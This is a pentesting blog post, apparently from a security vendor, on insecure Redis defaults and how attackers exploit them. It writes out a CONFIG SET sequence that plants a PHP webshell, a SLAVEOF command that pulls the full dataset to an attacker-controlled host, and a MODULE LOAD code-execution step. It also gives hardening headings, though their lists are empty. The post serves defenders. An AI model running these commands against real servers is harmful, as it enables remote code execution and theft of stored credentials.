Pentesting March 14, 2026 · 9 min read

Redis Security: Common Misconfigurations
and Exploitation

Redis is one of the most widely deployed data stores in the world, and one of the most frequently misconfigured. Here is how attackers exploit it and how to lock it down.

Redis is fast, flexible, and dangerously easy to set up insecurely. It ships with no authentication enabled by default, binds to all network interfaces, and provides commands that can write to the filesystem, execute code, and exfiltrate data. In penetration tests and automated scans, Redis misconfigurations are among the most common and impactful findings we encounter. This post covers the exploitation techniques attackers use and the hardening steps that prevent them.

Default Configuration: Open by Design

When you install Redis and start it without modifying the configuration, you get a server that listens on all interfaces (0.0.0.0:6379), requires no password, and allows any connected client to run any command. This is intentional for development convenience, but it is catastrophic in production. A Redis instance exposed to the internet with default configuration is fully compromised the moment an attacker discovers it.

The redis.conf file that ships with most distributions sets bind 0.0.0.0 and comments out the requirepass directive. Many deployment scripts and Docker images skip these settings entirely. The result is that thousands of Redis instances are accessible without authentication across the internet at any given time.

Exploitation Techniques

Unauthenticated Access

The most basic attack against Redis is simply connecting to it. The Redis CLI makes this trivial: 

redis-cli -h target.example.com -p 6379
PING
+PONG

If the server responds with PONG, you have full access. From here, an attacker can read and write any key, enumerate the entire dataset, and use Redis commands to escalate further. The INFO command reveals server version, uptime, connected clients, and memory usage, giving an attacker operational intelligence about the target.

CONFIG SET: Writing Webshells

The CONFIG SET command is one of the most dangerous features in Redis when exposed to unauthenticated users. It allows changing the running configuration without restarting the server. The classic exploitation technique uses dir and dbfilename to write arbitrary files to disk: 

CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE

This writes a PHP webshell to the web server's document root. If the web server is on the same host, the attacker now has remote code execution through the web interface. This technique works against any Redis instance where the CONFIG command is available and the Redis user has filesystem write access to a web-accessible directory.

SLAVEOF: Data Exfiltration

Redis replication is designed for high availability, but it can be weaponized. The SLAVEOF command forces a Redis instance to become a replica of another server controlled by the attacker: 

SLAVEOF attacker.controlled.server 6379

When this command is issued, the target Redis instance connects to the attacker's server and synchronizes its entire dataset. The attacker receives a complete copy of every key, including session tokens, API keys, cached credentials, and any other sensitive data stored in Redis. This is a silent exfiltration method because it uses Redis's native replication protocol, which does not generate error logs or trigger typical security monitoring.

MODULE LOAD: Remote Code Execution

Redis 4.0 introduced the module system, which allows loading shared libraries at runtime. If the MODULE LOAD command is available to an unauthenticated client, an attacker can load a malicious module that executes arbitrary code on the server: 

MODULE LOAD /path/to/malicious.so

This is the most direct path to full remote code execution. The attacker compiles a Redis module that runs system commands, places it on the target (often using the CONFIG SET technique described above), and loads it. At this point, the attacker has the same privileges as the Redis process, which on poorly configured systems is often root.

Additional Attack Vectors

Beyond these primary techniques, Redis provides several other exploitation paths:

Findings from RedStrike Scanning

In our automated and manual assessments, Redis misconfigurations consistently rank among the top findings by severity and exploitability. Common scenarios include:

Hardening Checklist

Securing Redis requires addressing authentication, network exposure, command restrictions, and filesystem access. Here is a comprehensive checklist:

Authentication and Access Control

Network Configuration

Filesystem and OS Hardening

Monitoring and Detection

A Redis instance without authentication is not a cache. It is a backdoor into your entire application stack. Treat it with the same security posture you would apply to a database with your most sensitive data, because that is exactly what it often contains.

Our automated DAST platform tests for Redis misconfigurations as part of every scan. If you want to verify that your Redis instances are properly secured, contact us for a comprehensive assessment.